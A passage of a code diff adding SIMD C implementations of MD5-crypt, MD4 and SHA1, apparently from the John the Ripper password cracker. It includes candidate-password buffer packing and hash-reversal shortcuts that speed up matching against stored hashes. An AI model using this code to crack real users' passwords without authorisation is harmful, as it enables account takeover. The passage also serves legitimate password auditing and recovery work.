+		/* cas 1 sf */
+		mmxput(buffers, i, 1, 0, pwd[i], length_i);
+		mmxput(buffers, i, 1, length_i + 16, (unsigned char *) "\x80", 1);
+		/* cas 2 ssf */
+		mmxput(buffers, i, 2, 0, pwd[i], length_i);
+		mmxput(buffers, i, 2, length_i, pwd[i], length_i);
+		mmxput(buffers, i, 2, length_i * 2 + 16, (unsigned char *) "\x80", 1);
+		/* cas 3 fss */
+		mmxput(buffers, i, 3, 16, pwd[i], length_i);
+		mmxput(buffers, i, 3, 16 + length_i, pwd[i], length_i);
+		mmxput(buffers, i, 3, length_i * 2 + 16, (unsigned char *) "\x80", 1);
+		/* cas 4 scf */
+		mmxput(buffers, i, 4, 0, pwd[i], length_i);
+		mmxput(buffers, i, 4, length_i, salt, saltlen);
+		mmxput(buffers,
+			   i,
+			   4,
+			   saltlen + length_i + 16,
+			   (unsigned char *) "\x80",
+			   1);
+		/* cas 5 fcs */
+		mmxput(buffers, i, 5, 16, salt, saltlen);
+		mmxput(buffers, i, 5, 16 + saltlen, pwd[i], length_i);
+		mmxput(buffers,
+			   i,
+			   5,
+			   saltlen + length_i + 16,
+			   (unsigned char *) "\x80",
+			   1);
+		/* cas 6 fcss */
+		mmxput(buffers, i, 6, 16, salt, saltlen);
+		mmxput(buffers, i, 6, 16 + saltlen, pwd[i], length_i);
+		mmxput(buffers, i, 6, 16 + saltlen + length_i, pwd[i], length_i);
+		mmxput(buffers,
+			   i,
+			   6,
+			   saltlen + 2 * length_i + 16,
+			   (unsigned char *) "\x80",
+			   1);
+		/* cas 7 scsf */
+		mmxput(buffers, i, 7, 0, pwd[i], length_i);
+		mmxput(buffers, i, 7, length_i, salt, saltlen);
+		mmxput(buffers, i, 7, length_i + saltlen, pwd[i], length_i);
+		mmxput(buffers,
+			   i,
+			   7,
+			   saltlen + 2 * length_i + 16,
+			   (unsigned char *) "\x80",
+			   1);
+
+		bt = (unsigned int *) &buffers[0];
+		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
+			= (length_i + 16) << 3;
+		bt = (unsigned int *) &buffers[1];
+		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
+			= (length_i + 16) << 3;
+		bt = (unsigned int *) &buffers[2];
+		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
+			= (length_i * 2 + 16) << 3;
+		bt = (unsigned int *) &buffers[3];
+		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
+			= (length_i * 2 + 16) << 3;
+		bt = (unsigned int *) &buffers[4];
+		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
+			= (length_i + saltlen + 16) << 3;
+		bt = (unsigned int *) &buffers[5];
+		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
+			= (length_i + saltlen + 16) << 3;
+		bt = (unsigned int *) &buffers[6];
+		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
+			= (length_i * 2 + saltlen + 16) << 3;
+		bt = (unsigned int *) &buffers[7];
+		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
+			= (length_i * 2 + saltlen + 16) << 3;
+
+		MD5_Init(&ctx);
+		MD5_Update(&ctx, pwd[i], length_i);
+		if (md5_type == MD5_TYPE_STD)
+			MD5_Update(&ctx, "$1$", 3);
+		else if (md5_type == MD5_TYPE_APACHE)
+			MD5_Update(&ctx, "$apr1$", 6);
+		// else it's AIX and no prefix included
+		MD5_Update(&ctx, salt, saltlen);
+		MD5_Init(&tctx);
+		MD5_Update(&tctx, pwd[i], length_i);
+		MD5_Update(&tctx, salt, saltlen);
+		MD5_Update(&tctx, pwd[i], length_i);
+		MD5_Final((unsigned char *) tf, &tctx);
+		MD5_Update(&ctx, tf, length_i);
+		length[i] = length_i;
+		for (j = length_i; j; j >>= 1)
+			if (j & 1)
+				MD5_Update(&ctx, "\0", 1);
+			else
+				MD5_Update(&ctx, pwd[i], 1);
+		MD5_Final((unsigned char *) tf, &ctx);
+		F[i / VS32 * 4 * VS32 + (i & (VS32 - 1)) + 0 * VS32] = tf[0];
+		F[i / VS32 * 4 * VS32 + (i & (VS32 - 1)) + 1 * VS32] = tf[1];
+		F[i / VS32 * 4 * VS32 + (i & (VS32 - 1)) + 2 * VS32] = tf[2];
+		F[i / VS32 * 4 * VS32 + (i & (VS32 - 1)) + 3 * VS32] = tf[3];
+	}
+	dispatch(buffers, F, length, saltlen);
+	memcpy(out, F, MD5_SSE_NUM_KEYS * 16);
+}
+#endif /* SIMD_PARA_MD5 */
+
+#if SIMD_PARA_MD4
+#define MD4_SSE_NUM_KEYS (SIMD_COEF_32 * SIMD_PARA_MD4)
+#define MD4_PARA_DO(x) for ((x) = 0; (x) < SIMD_PARA_MD4; (x)++)
+
+#define MD4_F(x, y, z) tmp[i] = vcmov((y[i]), (z[i]), (x[i]));
+
+#if __AVX512F__
+#define MD4_G(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0xE8);
+#elif !VCMOV_EMULATED
+#define MD4_G(x, y, z)                                                         \
+	tmp[i] = vxor((y[i]), (z[i]));                                             \
+	tmp[i] = vcmov((x[i]), (z[i]), (tmp[i]));
+#else
+#define MD4_G(x, y, z)                                                         \
+	tmp[i] = vor((y[i]), (z[i]));                                              \
+	tmp2[i] = vand((y[i]), (z[i]));                                            \
+	tmp[i] = vand((tmp[i]), (x[i]));                                           \
+	tmp[i] = vor((tmp[i]), (tmp2[i]));
+#endif
+
+#if __AVX512F__
+#define MD4_H(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0x96);
+
+#define MD4_H2(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0x96);
+#elif SIMD_PARA_MD4 < 3
+#define MD4_H(x, y, z)                                                         \
+	tmp2[i] = vxor((x[i]), (y[i]));                                            \
+	tmp[i] = vxor(tmp2[i], (z[i]));
+
+#define MD4_H2(x, y, z) tmp[i] = vxor((x[i]), tmp2[i]);
+#else
+#define MD4_H(x, y, z)                                                         \
+	tmp[i] = vxor((x[i]), (y[i]));                                             \
+	tmp[i] = vxor((tmp[i]), (z[i]));
+
+#define MD4_H2(x, y, z)                                                        \
+	tmp[i] = vxor((y[i]), (z[i]));                                             \
+	tmp[i] = vxor((tmp[i]), (x[i]));
+#endif
+
+#define MD4_STEP(f, a, b, c, d, x, t, s)                                       \
+	MD4_PARA_DO(i)                                                             \
+	{                                                                          \
+		a[i] = vadd_epi32(a[i], t);                                            \
+		f((b), (c), (d)) a[i] = vadd_epi32(a[i], tmp[i]);                      \
+		a[i] = vadd_epi32(a[i], data[i * 16 + x]);                             \
+		a[i] = vroti_epi32(a[i], (s));                                         \
+	}
+
+#define MD4_REV_STEP(f, a, b, c, d, x, t, s)                                   \
+	MD4_PARA_DO(i)                                                             \
+	{                                                                          \
+		f((b), (c), (d)) a[i] = vadd_epi32(a[i], tmp[i]);                      \
+		a[i] = vadd_epi32(a[i], data[i * 16 + x]);                             \
+	}
+
+#define INIT_A 0x67452301
+#define INIT_B 0xefcdab89
+#define INIT_C 0x98badcfe
+#define INIT_D 0x10325476
+#define SQRT_3 0x6ed9eba1
+
+void md4_reverse(uint32_t * hash)
+{
+	hash[0] -= INIT_A;
+	hash[1] -= INIT_B;
+	hash[2] -= INIT_C;
+	hash[3] -= INIT_D;
+	hash[1] = (hash[1] >> 15) | (hash[1] << 17);
+	hash[1] -= SQRT_3 + (hash[2] ^ hash[3] ^ hash[0]);
+	hash[1] = (hash[1] >> 15) | (hash[1] << 17);
+	hash[1] -= SQRT_3;
+}
+
+void md4_unreverse(uint32_t * hash)
+{
+	hash[1] += SQRT_3;
+	hash[1] = (hash[1] >> 17) | (hash[1] << 15);
+	hash[1] += SQRT_3 + (hash[2] ^ hash[3] ^ hash[0]);
+	hash[1] = (hash[1] >> 17) | (hash[1] << 15);
+	hash[3] += INIT_D;
+	hash[2] += INIT_C;
+	hash[1] += INIT_B;
+	hash[0] += INIT_A;
+}
+
+#undef SQRT_3
+#undef INIT_D
+#undef INIT_C
+#undef INIT_B
+#undef INIT_A
+
+void SIMDmd4body(vtype * _data,
+				 unsigned int * out,
+				 ARCH_WORD_32 * reload_state,
+				 unsigned SSEi_flags)
+{
+	vtype w[16 * SIMD_PARA_MD4];
+	vtype a[SIMD_PARA_MD4];
+	vtype b[SIMD_PARA_MD4];
+	vtype c[SIMD_PARA_MD4];
+	vtype d[SIMD_PARA_MD4];
+	vtype tmp[SIMD_PARA_MD4];
+#if (SIMD_PARA_MD4 < 3 || VCMOV_EMULATED) && !__AVX512F__
+	vtype tmp2[SIMD_PARA_MD4];
+#endif
+	vtype cst;
+	unsigned int i;
+	vtype * data;
+
+	if (SSEi_flags & SSEi_FLAT_IN)
+	{
+// Move _data to __data, mixing it SIMD_COEF_32 wise.
+#if __SSE4_1__ || __MIC__
+		unsigned k;
+		vtype * W = w;
+		ARCH_WORD_32 * saved_key = (ARCH_WORD_32 *) _data;
+		MD4_PARA_DO(k)
+		{
+			if (SSEi_flags & SSEi_4BUF_INPUT)
+			{
+				for (i = 0; i < 16; ++i)
+				{
+					GATHER_4x(W[i], saved_key, i);
+				}
+				saved_key += (VS32 << 6);
+			}
+			else if (SSEi_flags & SSEi_2BUF_INPUT)
+			{
+				for (i = 0; i < 16; ++i)
+				{
+					GATHER_2x(W[i], saved_key, i);
+				}
+				saved_key += (VS32 << 5);
+			}
+			else
+			{
+				for (i = 0; i < 16; ++i)
+				{
+					GATHER(W[i], saved_key, i);
+				}
+				saved_key += (VS32 << 4);
+			}
+			W += 16;
+		}
+#else
+		unsigned j, k;
+		ARCH_WORD_32 * p = (ARCH_WORD_32 *) w;
+		vtype * W = w;
+		ARCH_WORD_32 * saved_key = (ARCH_WORD_32 *) _data;
+		MD4_PARA_DO(k)
+		{
+			if (SSEi_flags & SSEi_4BUF_INPUT)
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 6) + j];
+				saved_key += (VS32 << 6);
+			}
+			else if (SSEi_flags & SSEi_2BUF_INPUT)
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 5) + j];
+				saved_key += (VS32 << 5);
+			}
+			else
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 4) + j];
+				saved_key += (VS32 << 4);
+			}
+			W += 16;
+		}
+#endif
+		// now set our data pointer to point to this 'mixed' data.
+		data = w;
+	}
+	else
+		data = _data;
+
+	if ((SSEi_flags & SSEi_RELOAD) == 0)
+	{
+		MD4_PARA_DO(i)
+		{
+			a[i] = vset1_epi32(0x67452301);
+			b[i] = vset1_epi32(0xefcdab89);
+			c[i] = vset1_epi32(0x98badcfe);
+			d[i] = vset1_epi32(0x10325476);
+		}
+	}
+	else
+	{
+		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
+		{
+			MD4_PARA_DO(i)
+			{
+				a[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]);
+				b[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]);
+				c[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]);
+				d[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]);
+			}
+		}
+		else
+		{
+			MD4_PARA_DO(i)
+			{
+				a[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 0 * VS32]);
+				b[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 1 * VS32]);
+				c[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 2 * VS32]);
+				d[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 3 * VS32]);
+			}
+		}
+	}
+
+	/* Round 1 */
+	cst = vsetzero();
+	MD4_STEP(MD4_F, a, b, c, d, 0, cst, 3)
+	MD4_STEP(MD4_F, d, a, b, c, 1, cst, 7)
+	MD4_STEP(MD4_F, c, d, a, b, 2, cst, 11)
+	MD4_STEP(MD4_F, b, c, d, a, 3, cst, 19)
+	MD4_STEP(MD4_F, a, b, c, d, 4, cst, 3)
+	MD4_STEP(MD4_F, d, a, b, c, 5, cst, 7)
+	MD4_STEP(MD4_F, c, d, a, b, 6, cst, 11)
+	MD4_STEP(MD4_F, b, c, d, a, 7, cst, 19)
+	MD4_STEP(MD4_F, a, b, c, d, 8, cst, 3)
+	MD4_STEP(MD4_F, d, a, b, c, 9, cst, 7)
+	MD4_STEP(MD4_F, c, d, a, b, 10, cst, 11)
+	MD4_STEP(MD4_F, b, c, d, a, 11, cst, 19)
+	MD4_STEP(MD4_F, a, b, c, d, 12, cst, 3)
+	MD4_STEP(MD4_F, d, a, b, c, 13, cst, 7)
+	MD4_STEP(MD4_F, c, d, a, b, 14, cst, 11)
+	MD4_STEP(MD4_F, b, c, d, a, 15, cst, 19)
+
+	/* Round 2 */
+	cst = vset1_epi32(0x5A827999L);
+	MD4_STEP(MD4_G, a, b, c, d, 0, cst, 3)
+	MD4_STEP(MD4_G, d, a, b, c, 4, cst, 5)
+	MD4_STEP(MD4_G, c, d, a, b, 8, cst, 9)
+	MD4_STEP(MD4_G, b, c, d, a, 12, cst, 13)
+	MD4_STEP(MD4_G, a, b, c, d, 1, cst, 3)
+	MD4_STEP(MD4_G, d, a, b, c, 5, cst, 5)
+	MD4_STEP(MD4_G, c, d, a, b, 9, cst, 9)
+	MD4_STEP(MD4_G, b, c, d, a, 13, cst, 13)
+	MD4_STEP(MD4_G, a, b, c, d, 2, cst, 3)
+	MD4_STEP(MD4_G, d, a, b, c, 6, cst, 5)
+	MD4_STEP(MD4_G, c, d, a, b, 10, cst, 9)
+	MD4_STEP(MD4_G, b, c, d, a, 14, cst, 13)
+	MD4_STEP(MD4_G, a, b, c, d, 3, cst, 3)
+	MD4_STEP(MD4_G, d, a, b, c, 7, cst, 5)
+	MD4_STEP(MD4_G, c, d, a, b, 11, cst, 9)
+	MD4_STEP(MD4_G, b, c, d, a, 15, cst, 13)
+
+	/* Round 3 */
+	cst = vset1_epi32(0x6ED9EBA1L);
+	MD4_STEP(MD4_H, a, b, c, d, 0, cst, 3)
+	MD4_STEP(MD4_H2, d, a, b, c, 8, cst, 9)
+	MD4_STEP(MD4_H, c, d, a, b, 4, cst, 11)
+	MD4_STEP(MD4_H2, b, c, d, a, 12, cst, 15)
+	MD4_STEP(MD4_H, a, b, c, d, 2, cst, 3)
+	MD4_STEP(MD4_H2, d, a, b, c, 10, cst, 9)
+	MD4_STEP(MD4_H, c, d, a, b, 6, cst, 11)
+	MD4_STEP(MD4_H2, b, c, d, a, 14, cst, 15)
+	MD4_STEP(MD4_H, a, b, c, d, 1, cst, 3)
+	MD4_STEP(MD4_H2, d, a, b, c, 9, cst, 9)
+	MD4_STEP(MD4_H, c, d, a, b, 5, cst, 11)
+
+	if (SSEi_flags & SSEi_REVERSE_STEPS)
+	{
+		MD4_REV_STEP(MD4_H2, b, c, d, a, 13, cst, 15)
+		MD4_PARA_DO(i)
+		{
+			vstore((vtype *) &out[i * 4 * VS32 + 1 * VS32], b[i]);
+		}
+		return;
+	}
+
+	MD4_STEP(MD4_H2, b, c, d, a, 13, cst, 15)
+	MD4_STEP(MD4_H, a, b, c, d, 3, cst, 3)
+	MD4_STEP(MD4_H2, d, a, b, c, 11, cst, 9)
+	MD4_STEP(MD4_H, c, d, a, b, 7, cst, 11)
+	MD4_STEP(MD4_H2, b, c, d, a, 15, cst, 15)
+
+	if ((SSEi_flags & SSEi_RELOAD) == 0)
+	{
+		MD4_PARA_DO(i)
+		{
+			a[i] = vadd_epi32(a[i], vset1_epi32(0x67452301));
+			b[i] = vadd_epi32(b[i], vset1_epi32(0xefcdab89));
+			c[i] = vadd_epi32(c[i], vset1_epi32(0x98badcfe));
+			d[i] = vadd_epi32(d[i], vset1_epi32(0x10325476));
+		}
+	}
+	else
+	{
+		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
+		{
+			MD4_PARA_DO(i)
+			{
+				a[i] = vadd_epi32(
+					a[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]));
+				b[i] = vadd_epi32(
+					b[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]));
+				c[i] = vadd_epi32(
+					c[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]));
+				d[i] = vadd_epi32(
+					d[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]));
+			}
+		}
+		else
+		{
+			MD4_PARA_DO(i)
+			{
+				a[i] = vadd_epi32(
+					a[i],
+					vload((vtype *) &reload_state[i * 4 * VS32 + 0 * VS32]));
+				b[i] = vadd_epi32(
+					b[i],
+					vload((vtype *) &reload_state[i * 4 * VS32 + 1 * VS32]));
+				c[i] = vadd_epi32(
+					c[i],
+					vload((vtype *) &reload_state[i * 4 * VS32 + 2 * VS32]));
+				d[i] = vadd_epi32(
+					d[i],
+					vload((vtype *) &reload_state[i * 4 * VS32 + 3 * VS32]));
+			}
+		}
+	}
+
+#if USE_EXPERIMENTAL
+	/*
+ * This is currently not used for MD4, and was observed to result
+ * in a significant performance regression (at least on XOP) just by sitting
+ * here. http://www.openwall.com/lists/john-dev/2015/09/05/5
+ * NOTE the regression might be gone now anyway since we went from -O3 to -O2.
+ */
+	if (SSEi_flags & SSEi_FLAT_OUT)
+	{
+		MD4_PARA_DO(i)
+		{
+			uint32_t * o = (uint32_t *) &out[i * 4 * VS32];
+#if __AVX512F__ || __MIC__
+			vtype idxs = vset_epi32(15 * 4,
+									14 * 4,
+									13 * 4,
+									12 * 4,
+									11 * 4,
+									10 * 4,
+									9 * 4,
+									8 * 4,
+									7 * 4,
+									6 * 4,
+									5 * 4,
+									4 * 4,
+									3 * 4,
+									2 * 4,
+									1 * 4,
+									0 * 4);
+
+			vscatter_epi32(o + 0, idxs, a[i], 4);
+			vscatter_epi32(o + 1, idxs, b[i], 4);
+			vscatter_epi32(o + 2, idxs, c[i], 4);
+			vscatter_epi32(o + 3, idxs, d[i], 4);
+#else
+			uint32_t j, k;
+			union {
+				vtype v[4];
+				uint32_t s[4 * VS32];
+			} tmp;
+
+			tmp.v[0] = a[i];
+			tmp.v[1] = b[i];
+			tmp.v[2] = c[i];
+			tmp.v[3] = d[i];
+
+			for (j = 0; j < VS32; j++)
+				for (k = 0; k < 4; k++) o[j * 4 + k] = tmp.s[k * VS32 + j];
+#endif
+		}
+	}
+	else
+#endif
+		if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
+	{
+		if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT)
+			== SSEi_OUTPUT_AS_2BUF_INP_FMT)
+		{
+			MD4_PARA_DO(i)
+			{
+				vstore((vtype *) &out[i * 32 * VS32 + 0 * VS32], a[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 1 * VS32], b[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 2 * VS32], c[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 3 * VS32], d[i]);
+			}
+		}
+		else
+		{
+			MD4_PARA_DO(i)
+			{
+				vstore((vtype *) &out[i * 16 * VS32 + 0 * VS32], a[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 1 * VS32], b[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 2 * VS32], c[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 3 * VS32], d[i]);
+			}
+		}
+	}
+	else
+	{
+		MD4_PARA_DO(i)
+		{
+			vstore((vtype *) &out[i * 4 * VS32 + 0 * VS32], a[i]);
+			vstore((vtype *) &out[i * 4 * VS32 + 1 * VS32], b[i]);
+			vstore((vtype *) &out[i * 4 * VS32 + 2 * VS32], c[i]);
+			vstore((vtype *) &out[i * 4 * VS32 + 3 * VS32], d[i]);
+		}
+	}
+}
+
+#endif /* SIMD_PARA_MD4 */
+
+#if SIMD_PARA_SHA1
+#define SHA1_SSE_NUM_KEYS (SIMD_COEF_32 * SIMD_PARA_SHA1)
+#define SHA1_PARA_DO(x) for ((x) = 0; (x) < SIMD_PARA_SHA1; (x)++)
+
+#define SHA1_F(x, y, z) tmp[i] = vcmov((y[i]), (z[i]), (x[i]));
+
+#if __AVX512F__
+#define SHA1_G(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0x96);
+#else
+#define SHA1_G(x, y, z)                                                        \
+	tmp[i] = vxor((y[i]), (z[i]));                                             \
+	tmp[i] = vxor((tmp[i]), (x[i]));
+#endif
+
+#if __AVX512F__
+#define SHA1_H(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0xE8);
+#elif !VCMOV_EMULATED
+#define SHA1_H(x, y, z)                                                        \
+	tmp[i] = vxor((z[i]), (y[i]));                                             \
+	tmp[i] = vcmov((x[i]), (y[i]), tmp[i]);
+#else
+#define SHA1_H(x, y, z)                                                        \
+	tmp[i] = vand((x[i]), (y[i]));                                             \
+	tmp[i] = vor((tmp[i]), vand(vor((x[i]), (y[i])), (z[i])));
+#endif
+
+#define SHA1_I(x, y, z) SHA1_G(x, y, z)
+
+#define SHA1_EXPAND2a(t)                                                       \
+	tmp[i] = vxor(data[i * 16 + t - 3], data[i * 16 + t - 8]);                 \
+	tmp[i] = vxor(tmp[i], data[i * 16 + t - 14]);                              \
+	tmp[i] = vxor(tmp[i], data[i * 16 + t - 16]);                              \
+	w[i * 16 + ((t) &0xF)] = vroti_epi32(tmp[i], 1);
+
+#define SHA1_EXPAND2b(t)                                                       \
+	tmp[i] = vxor(w[i * 16 + ((t - 3) & 0xF)], data[i * 16 + t - 8]);          \
+	tmp[i] = vxor(tmp[i], data[i * 16 + t - 14]);                              \
+	tmp[i] = vxor(tmp[i], data[i * 16 + t - 16]);                              \
+	w[i * 16 + ((t) &0xF)] = vroti_epi32(tmp[i], 1);
+
+#define SHA1_EXPAND2c(t)                                                       \
+	tmp[i] = vxor(w[i * 16 + ((t - 3) & 0xF)], w[i * 16 + ((t - 8) & 0xF)]);   \
+	tmp[i] = vxor(tmp[i], data[i * 16 + t - 14]);                              \
+	tmp[i] = vxor(tmp[i], data[i * 16 + t - 16]);                              \
+	w[i * 16 + ((t) &0xF)] = vroti_epi32(tmp[i], 1);
+
+#define SHA1_EXPAND2d(t)                                                       \
+	tmp[i] = vxor(w[i * 16 + ((t - 3) & 0xF)], w[i * 16 + ((t - 8) & 0xF)]);   \
+	tmp[i] = vxor(tmp[i], w[i * 16 + ((t - 14) & 0xF)]);                       \
+	tmp[i] = vxor(tmp[i], data[i * 16 + t - 16]);                              \
+	w[i * 16 + ((t) &0xF)] = vroti_epi32(tmp[i], 1);
+
+#define SHA1_EXPAND2(t)                                                        \
+	tmp[i] = vxor(w[i * 16 + ((t - 3) & 0xF)], w[i * 16 + ((t - 8) & 0xF)]);   \
+	tmp[i] = vxor(tmp[i], w[i * 16 + ((t - 14) & 0xF)]);                       \
+	tmp[i] = vxor(tmp[i], w[i * 16 + ((t - 16) & 0xF)]);                       \
+	w[i * 16 + ((t) &0xF)] = vroti_epi32(tmp[i], 1);
+
+#define SHA1_ROUND2a(a, b, c, d, e, F, t)                                      \
+	SHA1_PARA_DO(i)                                                            \
+	{                                                                          \
+		F(b, c, d)                                                             \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		tmp[i] = vroti_epi32(a[i], 5);                                         \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		e[i] = vadd_epi32(e[i], cst);                                          \
+		e[i] = vadd_epi32(e[i], data[i * 16 + t]);                             \
+		b[i] = vroti_epi32(b[i], 30);                                          \
+		SHA1_EXPAND2a(t + 16)                                                  \
+	}
+
+#define SHA1_ROUND2b(a, b, c, d, e, F, t)                                      \
+	SHA1_PARA_DO(i)                                                            \
+	{                                                                          \
+		F(b, c, d)                                                             \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		tmp[i] = vroti_epi32(a[i], 5);                                         \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		e[i] = vadd_epi32(e[i], cst);                                          \
+		e[i] = vadd_epi32(e[i], data[i * 16 + t]);                             \
+		b[i] = vroti_epi32(b[i], 30);                                          \
+		SHA1_EXPAND2b(t + 16)                                                  \
+	}
+
+#define SHA1_ROUND2c(a, b, c, d, e, F, t)                                      \
+	SHA1_PARA_DO(i)                                                            \
+	{                                                                          \
+		F(b, c, d)                                                             \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		tmp[i] = vroti_epi32(a[i], 5);                                         \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		e[i] = vadd_epi32(e[i], cst);                                          \
+		e[i] = vadd_epi32(e[i], data[i * 16 + t]);                             \
+		b[i] = vroti_epi32(b[i], 30);                                          \
+		SHA1_EXPAND2c(t + 16)                                                  \
+	}
+
+#define SHA1_ROUND2d(a, b, c, d, e, F, t)                                      \
+	SHA1_PARA_DO(i)                                                            \
+	{                                                                          \
+		F(b, c, d)                                                             \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		tmp[i] = vroti_epi32(a[i], 5);                                         \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		e[i] = vadd_epi32(e[i], cst);                                          \
+		e[i] = vadd_epi32(e[i], data[i * 16 + t]);                             \
+		b[i] = vroti_epi32(b[i], 30);                                          \
+		SHA1_EXPAND2d(t + 16)                                                  \
+	}
+
+#define SHA1_ROUND2(a, b, c, d, e, F, t)                                       \
+	SHA1_PARA_DO(i)                                                            \
+	{                                                                          \
+		F(b, c, d)                                                             \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		tmp[i] = vroti_epi32(a[i], 5);                                         \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		e[i] = vadd_epi32(e[i], cst);                                          \
+		e[i] = vadd_epi32(e[i], w[i * 16 + (t & 0xF)]);                        \
+		b[i] = vroti_epi32(b[i], 30);                                          \
+		SHA1_EXPAND2(t + 16)                                                   \
+	}
+
+#define SHA1_ROUND2x(a, b, c, d, e, F, t)                                      \
+	SHA1_PARA_DO(i)                                                            \
+	{                                                                          \
+		F(b, c, d)                                                             \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		tmp[i] = vroti_epi32(a[i], 5);                                         \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		e[i] = vadd_epi32(e[i], cst);                                          \
+		e[i] = vadd_epi32(e[i], w[i * 16 + (t & 0xF)]);                        \
+		b[i] = vroti_epi32(b[i], 30);                                          \
+	}
+
+#define INIT_E 0xC3D2E1F0
+
+void sha1_reverse(uint32_t * hash)
+{
+	hash[4] -= INIT_E;
+	hash[4] = (hash[4] << 2) | (hash[4] >> 30);
+}
+
+void sha1_unreverse(uint32_t * hash)
+{
+	hash[4] = (hash[4] << 30) | (hash[4] >> 2);
+	hash[4] += INIT_E;
+}
+
+#undef INIT_E
+
+void SIMDSHA1body(vtype * _data,
+				  ARCH_WORD_32 * out,
+				  ARCH_WORD_32 * reload_state,
+				  unsigned SSEi_flags)
+{
+	vtype w[16 * SIMD_PARA_SHA1];
+	vtype a[SIMD_PARA_SHA1];
+	vtype b[SIMD_PARA_SHA1];
+	vtype c[SIMD_PARA_SHA1];
+	vtype d[SIMD_PARA_SHA1];
+	vtype e[SIMD_PARA_SHA1];
+	vtype tmp[SIMD_PARA_SHA1];
+	vtype cst;
+	unsigned int i;
+	vtype * data;
+
+	if (SSEi_flags & SSEi_FLAT_IN)
+	{
+// Move _data to __data, mixing it SIMD_COEF_32 wise.
+#if __SSE4_1__ || __MIC__
+		unsigned k;
+		vtype * W = w;
+		ARCH_WORD_32 * saved_key = (ARCH_WORD_32 *) _data;
+		SHA1_PARA_DO(k)
+		{
+			if (SSEi_flags & SSEi_4BUF_INPUT)
+			{
+				for (i = 0; i < 14; ++i)
+				{
+					GATHER_4x(W[i], saved_key, i);
+					vswap32(W[i]);
+				}
+				GATHER_4x(W[14], saved_key, 14);
+				GATHER_4x(W[15], saved_key, 15);
+				saved_key += (VS32 << 6);
+			}
+			else if (SSEi_flags & SSEi_2BUF_INPUT)
+			{
+				for (i = 0; i < 14; ++i)
+				{
+					GATHER_2x(W[i], saved_key, i);
+					vswap32(W[i]);
+				}
+				GATHER_2x(W[14], saved_key, 14);
+				GATHER_2x(W[15], saved_key, 15);
+				saved_key += (VS32 << 5);
+			}
+			else
+			{
+				for (i = 0; i < 14; ++i)
+				{
+					GATHER(W[i], saved_key, i);
+					vswap32(W[i]);
+				}
+				GATHER(W[14], saved_key, 14);
+				GATHER(W[15], saved_key, 15);
+				saved_key += (VS32 << 4);
+			}
+			if (((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK)
+				 == SSEi_2BUF_INPUT_FIRST_BLK)
+				|| ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK)
+					== SSEi_4BUF_INPUT_FIRST_BLK)
+				|| ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST)
+					== SSEi_FLAT_RELOAD_SWAPLAST))
+			{
+				vswap32(W[14]);
+				vswap32(W[15]);
+			}
+			W += 16;
+		}
+#else
+		unsigned j, k;
+		ARCH_WORD_32 * p = (ARCH_WORD_32 *) w;
+		vtype * W = w;
+		ARCH_WORD_32 * saved_key = (ARCH_WORD_32 *) _data;
+		SHA1_PARA_DO(k)
+		{
+			if (SSEi_flags & SSEi_4BUF_INPUT)
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 6) + j];
